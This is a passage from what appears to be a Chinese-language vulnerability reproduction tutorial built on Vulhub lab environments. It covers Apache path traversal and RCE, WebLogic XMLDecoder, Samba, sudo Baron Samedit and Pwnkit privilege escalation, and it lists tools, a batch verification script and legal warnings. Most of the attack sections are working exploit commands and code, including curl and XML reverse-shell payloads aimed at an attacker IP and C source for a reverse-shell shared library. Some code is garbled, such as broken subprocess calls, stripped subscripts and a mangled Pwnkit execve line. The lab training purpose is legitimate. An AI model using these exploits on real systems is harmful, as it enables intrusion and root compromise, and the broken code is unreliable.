- 限制上传目录禁止执行PHP:
location ~* ^/upload/.*\.(php|php5)$ {
deny all;
}
```
4.3 复现八:Apache HTTP Server目录穿越(CVE-2021-41773/CVE-2021-42013)
4.3.1 路径穿越读取任意文件
```text
漏洞原理:
Apache HTTP Server 2.4.49版本中,对路径规范化处理存在缺陷。
当配置了Alias或目录别名时,攻击者可通过 ../ 进行路径穿越,
读取Web根目录之外的任意文件。CVE-2021-42013是对41773修复的不完全绕过。
影响版本:
-
CVE-2021-41773:Apache 2.4.49
-
CVE-2021-42013:Apache 2.4.49 和 2.4.50
```
```bash
启动Vulhub中的Apache目录穿越漏洞环境
cd /opt/vulhub/httpd/CVE-2021-41773
docker-compose up -d
```
```bash
读取任意文件(CVE-2021-41773)
curl --path-as-is "http://靶机IP:8080/cgi-bin/../../../../etc/passwd"
CVE-2021-42013绕过(双重编码绕过)
curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```
4.3.2 RCE利用条件与payload
当Apache启用了CGI模块(mod_cgi)时,CVE-2021-42013可进一步利用实现RCE:
```bash
利用CGI执行命令(需要启用mod_cgi)
curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
-d 'echo Content-Type: text/plain; echo; id; whoami; uname -a'
获取反弹Shell
curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
-d 'echo Content-Type: text/plain; echo; bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"'
```
```text
修复方案:
-
升级Apache HTTP Server到2.4.51及以上版本
-
限制目录别名配置,确保Require all denied正确设置
-
如不需要,禁用mod_cgi模块
```
4.4 复现九:WebLogic XMLDecoder反序列化(CVE-2017-10271)
4.4.1 SOAP服务接口利用
```text
漏洞原理:
WebLogic的WLS Security组件在处理XML数据时使用了XMLDecoder进行反序列化,
攻击者可构造恶意XML数据发送到/wls-wsat/CoordinatorPortType等SOAP接口,
触发XMLDecoder反序列化执行任意命令。
影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2
```
```bash
启动Vulhub中的WebLogic XMLDecoder漏洞环境
cd /opt/vulhub/weblogic/CVE-2017-10271
docker-compose up -d
默认端口7001
```
4.4.2 XML payload构造
```bash
发送恶意XML payload执行命令
curl -X POST "http://靶机IP:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml" \
-d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>touch /tmp/pwned</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
```
```bash
验证命令执行结果
如果WebLogic运行在Docker中,可以通过exec进入容器查看
docker exec -it <容器ID> ls -la /tmp/pwned
获取反弹Shell的payload
curl -X POST "http://靶机IP:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml" \
-d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/攻击机IP/4444 0>&1</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
```
【注意】XML中需要将 > 和 & 进行HTML实体编码(> 和 &),否则XML解析会出错。
五、系统漏洞复现实战
5.1 复现十:Samba远程代码执行(CVE-2017-7494)
5.1.1 漏洞原理与利用条件
```text
漏洞原理:
Samba服务在处理共享管道请求时,会加载用户指定的动态链接库(.so文件)。
攻击者可以上传恶意的SO模块到Samba共享目录,然后通过RPC请求触发加载该模块,
从而以Samba服务权限执行任意代码。
影响版本:Samba 3.5.0 ~ 4.6.4(不含安全补丁版本)
利用条件:
-
目标存在可写的Samba共享目录
-
能够猜到共享路径的绝对路径
-
Samba服务以root权限运行时可获取root Shell
```
```bash
启动Vulhub中的Samba漏洞环境
cd /opt/vulhub/samba/CVE-2017-7494
docker-compose up -d
默认端口445
```
5.1.2 构造恶意共享路径上传SO模块
```bash
步骤1:编译恶意SO模块(反弹Shell)
cat > reverse.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sht_connect() {
int sockfd;
struct sockaddr_in addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
addr.sin_addr.s_addr = inet_addr("攻击机IP");
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execl("/bin/bash", "bash", "-i", NULL);
return 0;
}
void samba_init_module(void) {
sht_connect();
}
EOF
编译为SO模块(注意目标架构,x86或x64)
gcc -shared -fPIC -o reverse.so reverse.c -nostartfiles
```
```bash
步骤2:上传SO模块到Samba共享目录
安装smbclient
apt-get install -y smbclient
连接Samba共享(假设共享名为public,匿名访问)
smbclient //靶机IP/public -N
在smbclient交互中:
smb: \> put reverse.so
smb: \> exit
步骤3:触发SO模块加载(使用metasploit或自定义脚本)
使用Metasploit
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOST 靶机IP
set RPORT 445
set SMB_SHARE public
set SMB_FOLDER /reverse.so
exploit
```
```bash
步骤4:在攻击机上监听反弹Shell
nc -lvnp 4444
```
5.2 复现十一:Sudo提权漏洞(CVE-2021-3156 Baron Samedit)
5.2.1 漏洞原理
```text
漏洞原理:
Sudo在解析命令行参数时存在堆溢出漏洞。当用户执行sudo命令时,
如果参数末尾包含反斜杠(如sudo -s \),sudo的解析器会错误处理,
导致堆缓冲区溢出。攻击者可利用此漏洞以非root用户身份获取root权限。
影响版本:
-
sudo 1.8.2 ~ 1.8.31p2
-
sudo 1.9.0 ~ 1.9.5p1
不受影响版本:sudo 1.9.5p2及以上
```
5.2.2 编译利用脚本
```bash
下载CVE-2021-3156利用工具
cd /tmp
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
编译利用程序
make
查看编译生成的可执行文件
ls -la sudo-hax-me-a-sandwich
```
5.2.3 提权完整流程
```bash
步骤1:确认sudo版本存在漏洞
sudo --version
检查版本是否在受影响范围内
步骤2:验证漏洞是否存在(不会触发实际利用)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
如果返回"malloc: corrupted top size"或段错误,说明存在漏洞
步骤3:执行提权利用
./sudo-hax-me-a-sandwich
根据输出的目标列表选择对应的编号
./sudo-hax-me-a-sandwich <编号>
验证提权成功
id
whoami
应显示 uid=0(root) gid=0(root)
```
```text
修复方案:
-
升级sudo到1.9.5p2及以上版本
-
各Linux发行版已发布安全补丁,通过包管理器更新:
-
Ubuntu/Debian: apt-get update && apt-get install sudo
-
CentOS/RHEL: yum update sudo
- 临时缓解:如非必要,限制普通用户使用sudo的权限
```
5.3 复现十二:Polkit pkexec本地提权(CVE-2021-4034 Pwnkit)
5.3.1 漏洞原理
```text
漏洞原理:
pkexec是Polkit(PolicyKit)套件中的setuid程序,用于以其他用户身份执行命令。
CVE-2021-4034漏洞源于pkexec在处理命令行参数时,未正确检查参数数量。
当argc=0时,pkexec会越界读取环境变量数组,导致环境变量注入。
攻击者可利用此漏洞注入恶意环境变量(如GCONV_PATH),加载恶意共享库实现提权。
影响版本:2009年5月至今的所有Polkit版本(影响范围极广)
漏洞存在于Linux系统中已超过12年,被称为"十年最佳Linux提权漏洞"
```
5.3.2 C语言exploit编译与执行
```bash
下载CVE-2021-4034利用代码
cd /tmp
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
或者使用官方Qualys的利用代码
git clone https://github.com/qualys/CVE-2021-4034.git
cd CVE-2021-4034
```
```c
// 简化的CVE-2021-4034利用代码 (cve-2021-4034.c)
#include <unistd.h>
int main(int argc, char **argv)
{
char * const args\[\] = {
NULL
};
char * const environ\[\] = {
"pwnkit",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=pwnkit",
NULL
};
execve("/usr/bin/pkexec", args, environ);
}
```
```bash
编译恶意.so模块
cat > pwnkit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step) {
char * const args\[\] = {"/bin/sh", NULL};
setuid(0);
setgid(0);
execve(args0, args, NULL);
exit(0);
}
EOF
gcc -shared -fPIC -o pwnkit.so pwnkit.c
编译exploit主体
gcc -o cve-2021-4034 cve-2021-4034.c
创建GCONV_PATH所需的目录结构
mkdir -p GCONV_PATH=.
cp pwnkit.so GCONV_PATH=.
```
5.3.3 提权效果演示
```bash
确认当前是普通用户
id
uid=1000(test) gid=1000(test) groups=1000(test)
执行提权
./cve-2021-4034
验证提权结果
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
获取完整root Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
【警告】CVE-2021-4034利用成功率极高,几乎影响所有主流Linux发行版。该漏洞已存在12年以上,建议尽快更新系统补丁。
```text
修复方案:
- 更新polkit包到安全版本
-
Ubuntu/Debian: apt-get update && apt-get install policykit-1
-
CentOS/RHEL: yum update polkit
- 临时缓解:移除pkexec的SUID位(不推荐,影响功能)
chmod 0755 /usr/bin/pkexec
- 长期方案:保持系统及时更新安全补丁
```
六、漏洞复现工具汇总
6.1 漏洞利用框架
| 工具名称 | 功能说明 | 使用场景 | 命令示例 |
|---------|---------|---------|---------|
| Metasploit | 综合渗透测试框架,内置大量exploit模块 | 漏洞利用、后渗透 | msfconsole -> search <CVE> -> use <module> |
| searchsploit | ExploitDB离线搜索工具 | 快速查找公开EXP | searchsploit <关键词> |
| ysoerial | Java反序列化利用工具 | Java反序列化漏洞 | java -jar ysoserial.jar <Gadget> <cmd> |
| marshalsec | JNDI注入利用工具 | JNDI注入类漏洞 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer |
| nuclei | 基于模板的漏洞扫描器 | 批量漏洞验证 | nuclei -t <template> -u <url> |
```bash
Metasploit搜索和利用流程
msfconsole
搜索漏洞利用模块
search CVE-2021-44228
search type:exploit name:log4j
使用模块
use exploit/multi/http/log4shell_header_injection
show options
set RHOSTS 靶机IP
set RPORT 8080
set LHOST 攻击机IP
set LPORT 4444
exploit
```
```bash
searchsploit离线搜索EXP
安装
apt-get install exploitdb
搜索漏洞利用代码
searchsploit apache tomcat put
searchsploit weblogic deserialization
searchsploit -x 12345 # 查看编号12345的EXP详情
searchsploit -m 12345 # 复制EXP到当前目录
searchsploit -p 12345 # 显示EXP文件路径
```
6.2 POC/EXP收集渠道
| 渠道名称 | 地址 | 说明 | 搜索技巧 |
|---------|------|------|---------|
| ExploitDB | https://www.exploit-db.com/ | 最全面的EXP数据库 | 按CVE编号或关键词搜索 |
| GitHub | https://github.com/ | 大量安全研究员发布的POC | 搜索"CVE-xxxx-xxxx"或"漏洞名 POC" |
| Vulhub | https://vulhub.org/ | 漏洞环境+复现文档 | 查看对应漏洞的README |
| PacketStorm | https://packetstormsecurity.com/ | 安全工具和EXP存档 | 按日期或类型浏览 |
| Seebug | https://www.seebug.org/ | 国内漏洞库(知道创宇) | 按CVE或组件搜索 |
| POC-T | https://github.com/Xyntax/POC-T | POC框架+批量验证 | 适合自定义POC开发 |
```bash
GitHub搜索POC的技巧
搜索特定CVE的POC
在GitHub搜索框中输入:CVE-2021-44228 POC
或使用命令行搜索(需要安装gh工具)
gh search repos "CVE-2021-44228" --sort stars
搜索特定漏洞的利用工具
gh search repos "shiro exploit" --sort stars
gh search repos "fastjson rce" --sort stars
```
6.3 漏洞信息查询平台
| 平台名称 | 地址 | 特点 | 适用场景 |
|---------|------|------|---------|
| NVD | https://nvd.nist.gov/ | 美国国家漏洞数据库,最权威 | 查询CVE详情和CVSS评分 |
| CNVD | https://www.cnvd.org.cn/ | 中国国家漏洞库 | 国内漏洞信息和0day通报 |
| CNNVD | https://www.cnnvd.org.cn/ | 中国国家信息安全漏洞库 | 漏洞分析和影响评估 |
| CVE Details | https://www.cvedetails.com/ | 漏洞统计和分析 | 按厂商、产品统计漏洞 |
| SecurityFocus | https://www.securityfocus.com/ | Bugtraq漏洞数据库 | 查看漏洞技术分析 |
| ExploitDB | https://www.exploit-db.com/ | EXP专用数据库 | 查找可用EXP |
```bash
使用NVD API查询漏洞信息
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228" | python3 -m json.tool
查询特定产品的所有漏洞
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?keyword=apache+log4j" | python3 -m json.tool
```
6.4 辅助工具
| 工具名称 | 功能说明 | 适用场景 | 下载地址 |
|---------|---------|---------|---------|
| marshalsec | JNDI注入利用,启动恶意LDAP/RMI服务 | Log4j2、Fastjson等JNDI注入 | github.com/mbechler/marshalsec |
| ysoerial | Java反序列化Payload生成 | 各类Java反序列化漏洞 | github.com/frohoff/ysoserial |
| JNDI-Injection-Exploit | 一键生成JNDI利用服务 | JNDI注入类漏洞 | github.com/welk1n/JNDI-Injection-Exploit |
| ShiroExp | Shiro漏洞利用图形化工具 | Apache Shiro反序列化 | github.com/feihong-cs/ShiroExp |
| weblogic-framework | WebLogic漏洞利用框架 | WebLogic各类漏洞 | github.com/Y4er/weblogic-framework |
| JDK对象利用工具 | 针对高版本JDK的反序列化利用 | 高版本JDK绕过限制 | github.com/Y4er/ysoserial |
| dnslog | DNS日志记录平台 | 验证无回显漏洞 | dnslog.cn / ceye.io |
| Goby | 综合漏洞扫描与利用 | 资产发现和漏洞验证 | gobies.org |
七、漏洞复现自动化
7.1 批量复现脚本编写思路
对于安全团队,需要定期验证大量漏洞,手动复现效率低下。可以编写自动化脚本批量启动环境并验证:
```python
#!/usr/bin/env python3
batch_vuln_repro.py - 批量漏洞复现脚本
import subprocess
import json
import time
import requests
import os
漏洞复现配置列表
VULN_LIST = [
{
"name": "Log4j2 RCE",
"cve": "CVE-2021-44228",
"vulhub_path": "/opt/vulhub/log4j/CVE-2021-44228",
"port": 8983,
"verify_url": "http://127.0.0.1:8983/solr/admin/cores",
"verify_method": "jndi",
"payload": "${jndi:ldap://127.0.0.1:1389/test}",
},
{
"name": "Fastjson RCE",
"cve": "CVE-2017-18349",
"vulhub_path": "/opt/vulhub/fastjson/1.2.24-rce",
"port": 8090,
"verify_url": "http://127.0.0.1:8090/",
"verify_method": "post_json",
"payload": json.dumps({"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/test","autoCommit":True}}),
},
{
"name": "Tomcat PUT",
"cve": "CVE-2017-12615",
"vulhub_path": "/opt/vulhub/tomcat/CVE-2017-12615",
"port": 8080,
"verify_url": "http://127.0.0.1:8080/",
"verify_method": "put",
"payload": "test",
},
]
def start_vulhub(path):
"""启动Vulhub漏洞环境"""
result = subprocess.run(
"docker-compose", "up", "-d",
cwd=path,
capture_output=True,
text=True
)
if result.returncode == 0:
print(f"+ 环境启动成功: {path}")
time.sleep(10) # 等待服务完全启动
return True
else:
print(f"- 环境启动失败: {result.stderr}")
return False
def stop_vulhub(path):
"""停止并清理Vulhub漏洞环境"""
subprocess.run(
"docker-compose", "down", "-v",
cwd=path,
capture_output=True,
text=True
)
print(f"+ 环境已清理: {path}")
def verify_vuln(vuln):
"""验证漏洞是否存在"""
try:
if vuln"verify_method" == "jndi":
JNDI注入类漏洞验证(需要配合dnslog)
url = vuln"verify_url" + "?action=" + vuln"payload"
r = requests.get(url, timeout=10)
print(f"\* 已发送JNDI payload,请检查dnslog记录")
return True
elif vuln"verify_method" == "post_json":
r = requests.post(
vuln"verify_url",
data=vuln"payload",
headers={"Content-Type": "application/json"},
timeout=10
)
print(f"\* 响应状态码: {r.status_code}")
return r.status_code in 200, 500
elif vuln"verify_method" == "put":
r = requests.put(
vuln"verify_url" + "test_verify.txt",
data="vuln_test",
timeout=10
)
if r.status_code in 200, 201, 204:
print(f"+ PUT上传成功,漏洞确认存在")
return True
return False
except Exception as e:
print(f"! 验证异常: {e}")
return False
def main():
results = \[\]
for vuln in VULN_LIST:
print(f"\n{'='*50}")
print(f"\* 开始复现: {vuln'name'} ({vuln'cve'})")
print(f"{'='*50}")
启动环境
if not start_vulhub(vuln"vulhub_path"):
results.append({"vuln": vuln"name", "status": "环境启动失败"})
continue
验证漏洞
is_vuln = verify_vuln(vuln)
results.append({
"vuln": vuln"name",
"cve": vuln"cve",
"status": "漏洞确认存在" if is_vuln else "漏洞未确认"
})
清理环境
stop_vulhub(vuln"vulhub_path")
输出复现报告
print(f"\n{'='*50}")
print("\* 漏洞复现报告")
print(f"{'='*50}")
for r in results:
print(f" {r'vuln'}: {r'status'}")
if name == "main":
main()
```
7.2 Nuclei模板编写与批量验证
Nuclei是基于YAML模板的快速漏洞扫描器,非常适合批量验证已知漏洞:
```yaml
nuclei模板示例:检测Tomcat PUT方法漏洞
id: tomcat-put-method-cve-2017-12615
info:
name: Apache Tomcat PUT Method Arbitrary File Upload
author: security-researcher
severity: high
description: |
Apache Tomcat 7.0.0-7.0.79 allows PUT method to upload files.
reference:
tags: cve,cve2017,tomcat,fileupload,rce
requests:
- method: PUT
path:
- "{{BaseURL}}/{{randstr_1}}.jsp/"
body: "<%out.println(\"nuclei_test\");%>"
headers:
Content-Type: application/octet-stream
matchers-condition: and
matchers:
- type: status
status:
-
201
-
200
-
204
-
type: word
words:
- "nuclei_test"
part: body
condition: and
```
```bash
使用Nuclei进行批量漏洞验证
对单个目标扫描
nuclei -t tomcat-put-cve-2017-12615.yaml -u http://靶机IP:8080
对目标列表批量扫描
nuclei -t tomcat-put-cve-2017-12615.yaml -l targets.txt
使用所有已知的Nuclei模板扫描
nuclei -u http://靶机IP:8080
按严重程度过滤
nuclei -u http://靶机IP:8080 -severity critical,high
按标签过滤
nuclei -u http://靶机IP:8080 -tags cve,tomcat
输出JSON格式报告
nuclei -u http://靶机IP:8080 -json -o results.json
```
7.3 xray被动扫描与Vulhub联动
xray是优秀的被动漏洞扫描器,配合Vulhub可以高效验证漏洞检测能力:
```bash
步骤1:启动xray被动监听
./xray webscan --listen 127.0.0.1:7777 --html-output vuln_report.html
步骤2:配置浏览器代理指向xray
浏览器代理设置:HTTP代理 127.0.0.1:7777
步骤3:启动Vulhub环境
cd /opt/vulhub/log4j/CVE-2021-44228
docker-compose up -d
步骤4:使用浏览器访问靶场,正常浏览功能页面
xray会自动分析流量并检测漏洞
步骤5:查看扫描报告
vuln_report.html中会记录发现的漏洞
```
```yaml
xray配置文件(部分关键配置)
config.yaml
mitm:
listen: 127.0.0.1:7777
plugins:
xss:
enabled: true
sqldet:
enabled: true
phantasm:
enabled: true
poc_path:
- "./pocs/*"
http:
proxy: ""
dial_timeout: 5
read_timeout: 10
```
八、漏洞复现注意事项与法律合规
8.1 技术注意事项
【注意】漏洞复现过程中的关键技术注意事项:
- 环境隔离必须到位
-
漏洞靶场必须在隔离环境中运行,使用Host-Only网络或内部网络
-
严禁将漏洞环境部署在公网可访问的服务器上
-
虚拟机快照功能可在环境损坏时快速恢复
- Docker资源管理
-
每次复现完成后执行 docker-compose down -v 清理
-
定期执行 docker system prune 清理无用镜像和容器
-
注意端口冲突,同一时间避免启动多个使用相同端口的环境
- JDK版本兼容性
-
Java反序列化漏洞利用严重依赖JDK版本
-
JDK 8u191+ 默认禁止远程类加载(trustURLCodebase=false)
-
建议保留JDK 8低版本环境用于复现老漏洞
- Payload编码问题
-
Bash中 {} 需要转义为 \\{}
-
XML中 > 和 & 需要HTML实体编码
-
URL中特殊字符需要URL编码
-
Base64编码用于避免特殊字符和空格问题
- 漏洞利用的稳定性
-
反弹Shell可能因防火墙、SELinux等机制失败
-
部分漏洞利用需要多次尝试
-
注意目标环境的安全防护(WAF、EDR等)可能拦截利用
8.2 法律合规要求
【警告】漏洞复现必须严格遵守法律法规,以下行为绝对禁止:
- 禁止未授权测试
-
未经系统所有者明确书面授权,不得对任何系统进行漏洞测试
-
即使是"善意"的漏洞发现,未经授权也可能构成犯罪
-
《网络安全法》第二十七条明确规定未经授权侵入网络属于违法行为
- 禁止传播利用工具
-
不得将漏洞利用工具和EXP用于非法目的
-
不得在公开渠道传播可直接利用的0day漏洞
-
发现漏洞应通过合法渠道报告(CNVD、厂商SRC等)
- 数据保护义务
-
漏洞测试过程中获取的任何数据不得泄露、传播
-
测试完成后应彻底清除获取的数据
-
不得在测试过程中破坏目标系统的正常运行
- 漏洞披露规范
-
遵循负责任的漏洞披露流程(Responsible Disclosure)
-
先通知厂商,给予合理修复时间后再公开
-
公开漏洞细节时应同时提供修复方案
```text
相关法律法规参考:
-
《中华人民共和国网络安全法》
-
《中华人民共和国数据安全法》
-
《中华人民共和国个人信息保护法》
-
《计算机信息系统安全保护条例》
-
《刑法》第二百八十五条(非法侵入计算机信息系统罪)
-
《刑法》第二百八十六条(破坏计算机信息系统罪)
合法漏洞报告渠道:
-
CNVD(国家信息安全漏洞共享平台):https://www.cnvd.org.cn/
-
CNNVD(国家信息安全漏洞库):https://www.cnnvd.org.cn/
-
各厂商安全应急响应中心(SRC)
-
补天漏洞响应平台:https://www.butian.net/
```
九、总结与学习路线建议
9.1 漏洞复现方法论总结
漏洞复现应遵循标准化流程,形成可复用的工作流:
```text
漏洞复现标准流程:
第一步:信息收集与分析
-
查阅CVE详情,了解漏洞影响范围和利用条件
-
分析漏洞原理,理解触发链路
-
搜索公开POC/EXP,参考已有复现方案
第二步:环境搭建
-
优先使用Vulhub等靶场一键搭建
-
靶场未收录时手动搭建Docker环境
-
确保环境隔离,不影响生产网络
第三步:漏洞验证
-
使用POC验证漏洞是否存在(优先使用无危害的验证方式)
-
记录验证过程中的关键参数和响应
-
使用dnslog验证无回显漏洞
第四步:漏洞利用
-
从验证POC升级到完整利用EXP
-
获取Shell或实现漏洞利用目标
-
记录完整的利用步骤和命令
第五步:修复验证
-
应用官方补丁或修复方案
-
重新验证漏洞是否已修复
-
总结修复方案的有效性
第六步:总结沉淀
-
编写漏洞复现报告
-
提炼漏洞模式,关联同类漏洞
-
更新内部漏洞知识库
```
9.2 学习路线建议
```text
阶段一:基础环境搭建(1-2周)
-
掌握Docker和Docker Compose使用
-
熟悉Vulhub靶场框架
-
搭建Kali Linux攻击机环境
-
学习虚拟机网络配置
阶段二:Web漏洞复现入门(2-4周)
-
从Log4j2、Fastjson等热点漏洞入手
-
掌握Java反序列化漏洞复现流程
-
学习ysoerial、marshalsec等工具使用
-
复现10个以上Web漏洞
阶段三:中间件漏洞复现(2-3周)
-
复现Tomcat、Nginx、Apache等中间件漏洞
-
理解中间件配置与漏洞的关系
-
学习中间件漏洞的检测和修复
阶段四:系统漏洞复现(2-3周)
-
复现Samba、Sudo、Polkit等系统漏洞
-
掌握本地提权漏洞的复现方法
-
理解Linux内核和系统服务漏洞
阶段五:自动化与进阶(2-4周)
-
学习Nuclei模板编写
-
编写批量漏洞验证脚本
-
研究漏洞利用链组合
-
参与漏洞挖掘和SRC提交
阶段六:深入研究(持续)
-
分析漏洞Patch,理解修复方案
-
研究漏洞变种和绕过技术
-
跟踪最新安全动态和0day信息
-
贡献开源安全工具和漏洞复现方案
```
9.3 推荐学习资源
```text
在线学习平台:
-
TryHackMe:引导式学习,适合入门
-
HackTheBox:实战靶场,适合进阶
-
VulnHub:离线靶机下载
-
PentesterLab:结构化漏洞练习
技术社区:
-
先知社区(安全客)
-
FreeBuf
-
看雪学院
-
GitHub安全项目
书籍推荐:
-
《白帽子讲Web安全》
-
《Web安全深度剖析》
-
《漏洞战争》
-
《代码审计:企业级Web代码安全实践》
```
本文系统梳理了漏洞复现的完整流程和方法论,从环境搭建到漏洞利用,涵盖了Web漏洞、中间件漏洞和系统漏洞三大类共12个实战复现案例。每个案例都提供了可执行的命令和完整的利用步骤。漏洞复现是安全从业者必备的核心能力,建议读者在合法授权的前提下,按照本文的方法论进行系统化练习,逐步积累漏洞复现经验,为真实的安全工作打下坚实基础。
最后再次强调:技术是一把双刃剑,请始终在法律和道德的框架内使用所学知识,做一名负责任的安全研究者。
附录:本文涉及的CVE漏洞编号速查表
| CVE编号 | 漏洞名称 | 影响组件 | 严重程度 |
|---------|---------|---------|---------|
| CVE-2021-44228 | Log4Shell JNDI注入RCE | Apache Log4j2 | 严重 |
| CVE-2017-18349 | Fastjson反序列化RCE | Fastjson | 严重 |
| CVE-2018-2628 | T3协议反序列化RCE | WebLogic | 严重 |
| CVE-2016-4437 | rememberMe反序列化RCE | Apache Shiro | 严重 |
| CVE-2022-22965 | Spring4Shell RCE | Spring Framework | 严重 |
| CVE-2017-12615 | PUT方法任意文件上传 | Apache Tomcat | 高危 |
| CVE-2021-41773 | 目录穿越/RCE | Apache HTTP Server | 高危 |
| CVE-2021-42013 | 目录穿越绕过/RCE | Apache HTTP Server | 高危 |
| CVE-2017-10271 | XMLDecoder反序列化RCE | WebLogic | 严重 |
| CVE-2017-7494 | 远程代码执行 | Samba | 严重 |
| CVE-2021-3156 | Baron Samedit提权 | Sudo | 高危 |
| CVE-2021-4034 | Pwnkit本地提权 | Polkit pkexec | 严重 |